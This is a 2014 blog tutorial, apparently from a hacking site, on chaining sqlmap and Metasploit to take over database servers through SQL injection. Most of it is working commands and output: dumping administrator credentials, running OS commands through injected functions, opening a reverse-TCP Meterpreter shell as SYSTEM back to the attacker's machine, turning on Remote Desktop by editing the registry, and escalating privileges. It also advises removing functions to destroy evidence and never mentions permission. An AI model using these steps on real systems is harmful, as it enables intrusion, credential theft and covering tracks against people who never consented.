Pages

Tuesday, May 6, 2014

Owning the Database with SQLMAP and METASPLOIT

Today I will be trying to teach you how to use it from Linux platform to take advantage of all that it has to offer. We will begin by booting up our favorite Linux distro of choice; I will be using BackTrack 4R2 for purposes of this tutorial - it is not required but helps because everything is mostly setup already (mostly Metasploit). Once you have your networking services started and a confirmed working version of Metasploit installed you should have everything how you want it for a stable work environment we will begin by downloading the latest copy of SQLMAP to our system. You can find it online at  http://sqlmap.sourceforge.net/ 
or you can check it out from the terminal by using the following commands:

EX: svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
     
NOTE: if using svn you may need to accept certificate to download, this is safe so
      you shouldnt have to worry...

Once it is done downloading you will have a new folder on your Desktop called "sqlmap-dev", and inside is what we will be using for the remainder of this tutorial - "sqlmap.py". In order to confirm it is properly setup lets just issue a quick command to take a peek at what we will be using today:

EX: python sqlmap.py --help

This will display all of the options available for SQLMAP. I will not go into too much details on the basics as they were covered in my first tutorial. I will be picking up where we left off in the previous tutorial, quick recap:

Command:
python sqlmap.py -u http://site.com/example.php?id=1 -f -b --current-user --current-db --dbs --is-dba

Current User:    'user@localhost'
Current Database: database1
System Users [1]: 'user'@'localhost'
Current User is DBA:    'False'
Available Databases [5]:
 [*] information_schema
 [*] database1
 [*] database2
 [*] database3
 [*] database4
Command: python sqlmap.py -u http://site.com/example.php?id=1 --tables -D database1
Database: database1
[13 tables]
+-----------------+
| access             |
| action             |
| ad                   |
| adcriteria        |
| adminhelp       |
| administrator   |
| adminlog         |
| adminmessage |
| bbcode            |
| config              |
| db_users          |
| users                |
| etc                   |
+-----------------+

Command:
python sqlmap.py -u http://site.com/example.php?id=1 --columns -D database1 -T administrator
Database: database1
Table: administrator
[3 Columns]
+----------+---------------+
| Column |     Type         |
+---------+----------------+
| user      | varchar(250) |
| pass      | varchar(250) |
| ID        |  int(11)           |
| etc       |  varchar(100) |
+--------+-----------------+

Command: python sqlmap.py -u http://site.com/example.php?id=1 --dump -D database1 -T administrator -C ID,Password,user
Database: database1
Table: administrators
[2 entries]
+-----+------------------------------+------------+
| ID   |              Password             |   User       |
+-----+------------------------------+------------+
| 1     |  IhazYOURpassWORD    |   admin    |
| 2     | IhazYOURpassWORDtoo| JohnDoe  |
+-----+------------------------------+------------+

We have got Admin credentials! I hope they work on cpanel...
OK...so we have pulled all that we can from this server using SQLinjection, or have we? NOT EVEN CLOSE...

Since we have changed platforms and are now running on Linux with Metasploit also installed it is time to start putting SQLMAP to some real ninja work. Let's see what we have to work with: Command: sqlmap.py --help
...excerpt:
  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system.
    --os-cmd=OSCMD      Execute an operating system command

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process' user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

As you can see quit a few options, but all require Linux and working Metasploit as dependancy which is why I did not cover them on the last tutorial. We will begin with '--os-cmd' and work our way down from there explaining the different attack methods as we go...

We can try to run operating system commands using: '--os-cmd' and/or '--os-shell'
It is possible to execute commands on the database server's underlying operating system when the back-end DBMS is running either MySQL, PostgreSQL or MSSQL Server, AND the session user has the necessary privileges for the database. If you want to understand how SQLMAP accomplishes things please visit the homesite for the product or read the docs included with download as I dont have the time to go into that here, just know it works and is very capable and the methods used can change slightly based on whether or not you need to see/retrive the response back on screen or not...
These techniques are also well detailed in the white paper which is linked from the homesite's main page, called "Advanced SQL injection to operating system full control". The basic command structure looks like this:

EX: python sqlmap.py -u "http://site.com/pgsql/example.php?id=1" --os-cmd id -v 1

Results...

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL
[16:09:15] [INFO] fingerprinting the back-end DBMS operating system
[16:09:15] [INFO] the back-end DBMS operating system is Linux
[16:09:18] [INFO] testing if current user is DBA
[16:09:25] [INFO] detecting back-end DBMS version from its banner
[16:09:25] [INFO] checking if UDF 'sys_eval' already exist
[16:09:35] [INFO] checking if UDF 'sys_exec' already exist
[16:09:35] [INFO] creating UDF 'sys_eval' from the binary UDF file
[16:09:35] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(mysql) gid=106(mysql) groups=106(mysql)'
[16:09:37] [INFO] cleaning up the database management system

do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[16:09:45] [INFO] database management system cleanup finished
[16:09:45] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually

You should choose "YES" to most of the prompts unless you know what you are really doing. This is especially true for the cleanup phase to remove the user added functions which allow the takeover to take place (thus removing one more piece of evidence)...

If SQLMAP has not confirmed stacked queries can be used (i.e. PHP or ASP with back-end database management system running MySQL) and the DBMS is MySQL, it is still possible to perform successful attack using the "INTO_OUTFILE()" function to create a web backdoor in a writable folder within the web server document root allowing command execution (assuming the back-end DBMS and the web server are hosted on the same server - if not then all bets are off!). IF this scenario is detected SQLMAP will prompt the user for additional targets to try and upload the web file stager and backdoor to. The tool has pre-built features allowing you to choose from SQLMAP's file stagers and backdoors for the following languages: ASP, ASP.NET, JSP, and PHP (which is the default option). You will be prompted to make these selections to aid the tool in getting the job done when you run the initial takeover command using '--os-cmd' argument.

In addition to executing commands on the underlying OS you can also prompt for a direct SQL Shell to work from using the '--os-shell' argument. It simulates a real shell that will allow you to execute arbitrary commands as you wish, and as many as you need. The option is --os-shell and has the same TAB completion and history functionalities that --sql-shell has or owuld be exeprienced in most Shell evironments. Another alternative is simply adding your commands with the '--sql-query  feature like so:

EX: sqlmap.py -u http://site.com/example.asp?id=666 --sql-query "SELECT @@datadir"
     NOTE: Sometimes SQLMAP will find an injection spot but fail to pull anything useful,
     so it is worth doublechecking your commands here to test the accuracy of results or
     to find certain bits of data that SQLMAP might not have included in the base set
     of commands (like the example above used to find local directory for SQL installation)

More Takeover Techniques? You bet ya...

If the Database Server is hosted on a Windows machine you can also use SQLMAP to read and write changes to the system registry. This is possible when the DBMS is running MySQL, PostgreSQL or Microsoft SQL Server AND supports stacked queries. The current session user will also need the proper privileges to access it.

Arguments that can be used:

 '--reg-read' used to read registry key values.
 '--reg-add' used to write regitry key values
 '--reg-del' used to delete registry keys values
 Auxiliary registry switches: '--reg-key', '--reg-value', '--reg-data' and '--reg-type'

 Auxiliary switches can be used as additional arguments to define registry specifics for running the main arguments to skip interactrive prompts
 '--reg-key=PATH' used to specify key path for Windows registry
 '--reg-value=NAME' used to define value item name inside provided key
 '--reg-data=VALUE' used to define value data
 '--reg-type=TYPE' used to define the type of value

Here is an example of what it would look like if we wanted to check the remote Windows S2k3 target to see if Remote Desktop is enabled alredy:

EX: sqlmap.py -u http://site.com/example.aspx?id=1 --reg-read --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections

Results...

=1...
Damn...0=Enabled..&..1=Disabled
...Good thing we are persistant ;)

To enable the Remote Desktop feature on the target machine so we could then remote in using some of the credentials we dumped from the database earlier :)

EX: sqlmap.py -u http://site.com/example.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections --reg-type=DWORD --reg-data=0

Now issue the '--reg-read' command again to confirm the value was updated and returns a value of 1.
      NOTE: On most systems this would require a system restart so this may not be all
      that helpful in real life settings, but this should give you an idea of what you can
      be capable of as the options are only limited by you knowledge o the system registy
      so get to studying...

...
......
More Takeover Techniques? Yeah, I got a few more for you...
....so that is what SQLMAP is capable of on its own, now let's see what we can do when we add Metasploit to the equation and test SQLMAP using Out-of-band stateful connections (i.e using Metasploit modules & Meterpreter), using the following arguments/switches to put it all together: '--os-pwn', '--os-smbrelay', '--os-bof', '--priv-esc', '--msf-path' and '--tmp-path'. Each of these options will perform different attacks to try and take over the database server. These switches arguments can be used to get an interactive command prompt, a Meterpreter session or a VNC session.
SQLMAP relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server.

These techniques are:

  1. Database in-memory execution of the Metasploit's shellcode via sqlmap own user-defined function sys_bineval(). Supported on MySQL and PostgreSQL. Switch or argument to use attack method: '--os-pwn'
  2. Upload and execution of a Metasploit's stand-alone payload stager via sqlmap's own user-defined function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL. Switch or argument to use: '--os-pwn'
  3. Execution of Metasploit's shellcode by performing a SMB reflection attack ( MS08-068) with a UNC path request from the database server to the your machine where the Metasploit smb_relay server exploit is setup and listening. Supported when running sqlmap with high privileges (uid=0) on Linux/Unix and the target DBMS runs as Administrator on Windows. Switch or argument to use attack method: '--os-smbrelay'  _3a) This requires setup of SMBrelay attack from Metasploit's ./msfconsole
  4. 4) Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buffer overflow ( MS09-004).  _4a) sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but  it relies on Metasploit to generate the shellcode to get executed upon successful exploitation. Switch or  argument to use attack method: '--os-bof'
  5. Let's begin with option 1: '--os-pwn'
EX: python sqlmap.py -u "http://www.site.com/mysql/iis/example.aspx?id=1" --os-pwn --msf-path /pentest/exploits/framework3

Most important thing to note here is that we are defining the path to Metasploit using the '--msf-path' argument to tell sqlmap where to look so it can get Metasploit to prepare the shellcode to be used for the attack. (NOTE: I beleive this is one of the reasons it doesnt work on Windows as the path will not use Windows friendly path names/formatting and it seems to be hard coded for Linux use only). This will work similarly to the previous outline aboev for '--os-cmd' in that SQLMAP will do everything possible to make it work without user interaction but it may prompt you to identify the document root folder so it knows where to try and upload to make it work. You can also provide comma separated alternatives as additional otions/places to try.
 
Results from above '--os-pwn' command...

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[16:10:05] [INFO] fingerprinting the back-end DBMS operating system
[16:10:05] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[16:10:05] [INFO] testing if current user is DBA
[16:10:05] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[16:10:05] [INFO] checking if UDF 'sys_bineval' already exist
[16:10:06] [INFO] checking if UDF 'sys_exec' already exist
[16:10:09] [INFO] detecting back-end DBMS version from its banner
[16:10:09] [INFO] retrieving MySQL base directory absolute path
[16:10:11] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[16:10:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[16:10:15] [INFO] creation in progress ... done
[16:10:15] [INFO] running Metasploit Framework 3 command line interface locally, please wait..
 
<METASPLOIT Banner>
          =[ metasploit v3.8.0-dev [core:3.8 api:1.0]
+ -- --=[ 688 exploits - 357 auxiliary - 39 post
+ -- --=[ 217 payloads - 27 encoders - 8 nops
          =[ svn r12655 updated today (2011.05.17)
 
PAYLOAD => windows/meterpreter/reverse_tcp

EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.

meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection

Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0
meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit
 
By default MySQL on Windows runs as SYSTEM, however PostgreSQL runs as a low-privileged user "postgres" on both Windows and Linux. Microsoft SQL Server 2000 by default runs as SYSTEM, whereas Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK SERVICE and sometimes as LOCAL SERVICE.

It is also possible to provide sqlmap with the --priv-esc switch to perform a database process' user privilege escalation via Metasploit's getsystem command which include, among others, the kitrap0d technique ( MS10-015).
This brings us to the end of this adventure. I hope you have enjoyed these last few articles on some different methods to performing SQL injection with this great tool called SQLMAP. I can only think of one other topic for which I might cover this tool again and that would be how to use it to attack an ORACLE database like the new 10g or 11g but we will see (not sure if I have any time anytime soon). I am also leaning towards a quick mini article on SQLNINJA a similar tool whose goal is less focused on extracting data and more focused on getting full access to underlying OS and really has some neat features built into it and then on to bigger and better topics.

hacking-share